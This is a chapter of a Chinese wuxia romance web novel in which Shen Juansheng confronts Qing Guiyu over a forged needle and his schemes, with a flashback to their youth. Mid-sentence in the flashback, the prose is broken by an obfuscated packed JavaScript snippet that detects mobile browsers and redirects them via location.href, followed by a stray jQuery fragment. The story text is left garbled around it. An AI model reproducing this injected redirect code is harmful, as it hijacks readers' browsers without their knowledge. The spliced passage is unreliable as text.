19. 这一诺不值什么

    第十九章


    被称作嘲风的老者生着双老鼠似的黑溜溜小圆眼睛,右手里吊着个精铁烟杆,听他这样说,沙哑的嗓子嘿嘿一笑。


    “咱们公子今日倒是仁慈得紧,就这么放过那厮,让他跑了?”


    沈镌声漫不经心地抖了抖手腕上晶丝沾染的血迹,


    “围师必阙,穷寇莫追。”他缓缓道,“留一条生路给他们。若是赶尽杀绝,这些人岂非次次都要与我拼命?”


    老者提着烟杆,仔细端详着地上横七竖八的残尸,仿佛看的不是人,而是在品鉴什么货物。


    “这等死士,要我嘲风楼训养出来一个也不容易。”老者抽了口旱烟,讽刺道,“此人放回去,可惜,实在可惜。”


    “走过活路的,以后哪里还能再当死士。”玄衣青年慢条斯理地说着,转动着手中的寒炉,


    “见过光明的困兽,逃了一次,便会想要逃第二次,第三次,乃至无数次。”


    “废了。没什么可惜的。”金声公子垂下眼帘,接着道,“连带着他们手下其他人,心思也得动摇几分。”


    “嘿!”老头儿赞叹一声,拍了拍烟杆,“好想头!老朽这辈子真是活到狗身上去了!蒲牢老弟,你死得不冤啊!”


    青归玉心中有些纳闷,如此说来,这老者竟是那日偷袭沈镌声的二人之一?怎么此时沈镌声又允许他跟着,怎么他又说蒲牢死了?


    她按捺不住好奇,便打开房门,让三人进来,想看清另一人的长相。


    房间本来就小,如此就显得挤了些,她抱着竹笛,靠床边坐下。


    另外一人是个十六七岁的少年,身着利落劲装,腰间戴着短刀,向她郑重行了一礼。态度和老者迥然不同,说话也是恭恭敬敬地,“蒲牢见过姑娘。”


    嘲风似乎洞察了她的心思,在窗边的矮凳上轻轻磕了磕烟杆,慢慢说道,


    “小姑娘,你不用害怕。前任蒲牢已然死啦。”他哑声说,随即用充满怨毒的眼神看向沈镌声,毫不掩饰自己的恨意,


    “那一日之后,嘲风还能有命站在这里,也付出了点代价。”


    他抬起手臂,只见他的左臂自小臂处齐齐断裂,断口并非关节处,显然是以一种极其痛苦的方式生生截断。


    沈镌声看了看他,用手掩口,轻咳了一声。


    老者便不再说话,手里点着烟杆,只是冷眼看着,嘿嘿直笑,那少年又向沈镌声行了一礼,


    “蒲牢新任,定不让公子和青姑娘失望。”


    青归玉扶上额头。


    不是,


    怎么就成了“公子和青姑娘”了?


    这与她有何干系?


    而且这天机阁的一老一少,看起来实在太过危险了吧?


    她转动着手中的竹笛,细细思索着,


    “沈镌声,你的——”


    青归玉看看院中横陈的尸体,又想起药王谷双使的追杀,若将情蛊这破事暂且搁置,只考虑保住她的性命,勉强还能算得上是好意。


    于是她点了点头,目光直视沈镌声,“你的好意我心领了。只是这两位看起来实在……”


    不太令人放心。


    “公子,”嘲风用沙哑的声音接过,“你寻的这位心上人姑娘,心思可真不少!如此谨慎,她怕是还不知晓眼下情势有多凶险哩!”


    沈镌声瞥了老者一眼,难得地流露出几分凌厉之色,嘲风立刻噤声,抬了抬烟杆。


    “青姑娘,”沈镌声将手中的冷炉轻轻放在桌上,缓缓说道,“不必太过担心,虽然嘲风此人确实不太可靠。”


    他少见地冷笑一声,接着道,“忠诚不过是一种暂时的状态,有则甚好。没有,也不强求。”


    沈镌声坐到她身边,将缠着金丝的手覆上她的手,好似如此安慰她,眸子明亮亮的,声音柔和,


    “青姑娘请放心罢,我的丝线,杀起人来比他们快些。”


    青归玉不答他话,从身边拈出前几日陆归衍带来的那根仿造金针,放在他眼前。


    “若真要说起杀人,这杀了人的金针,和药王谷不同。针顶只有六旋,”


    她说,目光直视着他,


    “假的。沈镌声,你不可能弄错这种事。”


    她将那仿造金针抵上他脖颈,冷冷地问,


    “你做了什么?最好说真话。”


    他垂下眼睫,沉默着,嘲风蒲牢二人同时往这边看了一眼,见自家公子默不作声。也有些犹疑不定。


    沈镌声向他们做了个制止的手势,两人对视,躬一躬身,便先后出了房门。


    他忽然轻笑,简直好像真的有些开心,


    “我确实做了一点小小的替换,青姑娘,”他说,目光看向她抵在自己喉咙上的手。


    “如果我死了,因着这个破绽,应该可以洗清你的冤屈,保你无事。”


    他一只手攥着心口前埋着悬命针的位置,另一只覆着她的手突然用力握紧,欺近身子,嘴唇贴到她的耳边,那语气真诚而宛转,如春风陈色,雾月含彰,


    “——如果我侥幸还能活着,以天机阁这能伏线到药王谷的本事,姑娘师门里的祸事应该也能帮忙平了罢。”


    她被金声公子握着的手上,传来些冰冷的凉意,好似正盘卧着一条垂死前最鲜红艳丽的毒蛇。


    这条美丽的毒蛇吐出他的毒信,作为邀请,也正是劝诱。


    翻手为云,覆手为雨。祸福相倚,置于掌中。


    原来这是作为天机谋主的沈镌声,在局中给她筹谋的生路。四面围困的黑暗里那一点光明的罅隙。


    人性大致如此,就像他之前说的,如果她逃了第一次,就会有第二次,第三次,接下来往他身边逃一辈子。


    选择依靠沈镌声非常容易。


    他甚至如此留好了所有的后手,想必可以轻易解决她目前的一切难关。


    只要她愿意乖乖地和他绑在一起,治好他的寒毒。


    青归玉转过头,在如此近的距离,看见他眼角那点曾经渡血的殷红针痣,


    她这黄帝第三针的勘乱性情,真的十足利害,促成了这样一个天底下最麻烦的人物。


    沈镌声倾过头,绕过那根仿造的金针,靠在她的肩上,漆黑的发丝流落到身前,安稳地闭上眼。


    “我即使害了全天下人,也不会害青姑娘。”


    *


    这句话,是真是假,倒真的很难说。


    七年前,也是这根翠竹笛,青归玉生气地在药庐榻沿敲了敲,


    “沈公子,”她气呼呼的说,“你不对我说实话,倒是教我怎么医治呢?”


    那少年低下头,不去看她,只是咬着嘴唇,漆黑的发丝垂在手上,被他在手里攥得紧紧的,骨节都有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319298|167402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些发白。


    青归玉见他这样,无可奈何地叹了口气,转身从橱柜里拿出一块帕子。


    “擦一擦,”她把帕子递给他,指指他的嘴边,“咬出血了。”


    她心里头嘀嘀咕咕,觉着这人病病弱弱,真的受不了半点打骂。但凡对他态度稍微凶狠些,就显出一副艰难的样子。


    那少年倒是后知后觉的,用帕子拭了一下嘴角,看见血迹,才有些反应。


    他的发丝散落,大约是刚刚被用力攥得掉下了几根,青归玉感觉有些内疚,就坐到他身后,伸出手,替他拢起颈侧头发,


    少年后背一颤。她怕再将他惊到,就尽量放温柔些的声音,安慰他,


    “我只是想要问你,你门中这锁骨楔钉续命的道理如何,说不定能有所借鉴。”


    她抬起手,把自己的发带扯下一条,将少年的发丝松松束上,倒没有绑得太紧,只是怕弄痛了人。


    “不会很痛,”他此时反而说话了,语调十分缓慢,好像边说边在犹豫,


    “蚀骨钉。我六岁就曾钉过。要练寒髓功,必须用它暂时续命。”


    青归玉点点头,原来因为这寒毒的原因,少年对疼痛不甚敏感。难怪嘴上咬出了血,自己都不知道。


    她没说话,少年在她身前动了动,显出些不安来,


    “这样……不行么?青姑娘?”


    “不太好。”她仰起头,思考了下,“如果自己不知疼痛,也就不晓得别人怎样痛苦了。”


    她皱起眉头,“容易害人,不是么?”


    少年沈镌声点了点头,手抚上刚结束的长发,轻声地说,


    “我即使害了全天下人,也不会害青姑娘。”


    *


    听其话,也得观其行,后来看上去,他倒是害的痛快的很。


    就只重逢后这短短数天,沈镌声怕不是给她使尽了诡计:伪装情蛊,金针杀人,嫁祸药王谷,设伏陆归衍。


    不光是她,还把旁人都牵扯进来。


    青归玉气得咬牙,猛然抬手拽过他的衣领,一翻身,将他推倒在身后床上,屈膝压制住他。竹笛环转,冰冷地抵上他的喉咙,


    沈镌声似乎真未料到她会这样做,猝不及防被她压制,瞬间怔住,瞳孔微微放大。


    “沈镌声,”她咬牙切齿,字字如刀,“你惺惺作态,是想让我欠你这份人情么?”


    然而沈镌声正在下方直勾勾地凝视着她,仿佛未曾听见她的质问,眼中闪过一丝迷茫。


    她摇了摇头,心中冷笑,迷茫这种东西,哪里是能在金声公子脸上看见的?他这样运筹帷幄、从容不迫的人,为什么会装出这般神情?


    “昨日喂的野猫,今日叼了两只老鼠在我门前石阶上,莫非我该感恩戴德,将其供奉起来?”


    她突然感受到身下他的身体在微微颤抖,竹笛紧贴的喉咙命门处,青年的喉结滚动了一下,目光侧移,不再与她直视。


    金色的丝线在他衣衫下凌乱地交织,从袍袖的脖颈附近悄然露出。


    仿佛下定某种决心,沈镌声将头重新转回,那点朱砂色的针痣如血般鲜红。忽然间,两侧的玄色衣袖让她的视野暗了下来。


    “……啊,”


    耳边滑过叹息般的语调。他的呼吸急促,胸腔剧烈起伏,颤抖的双手缓缓抬起,轻柔而虚浮地拢到她的鬓边。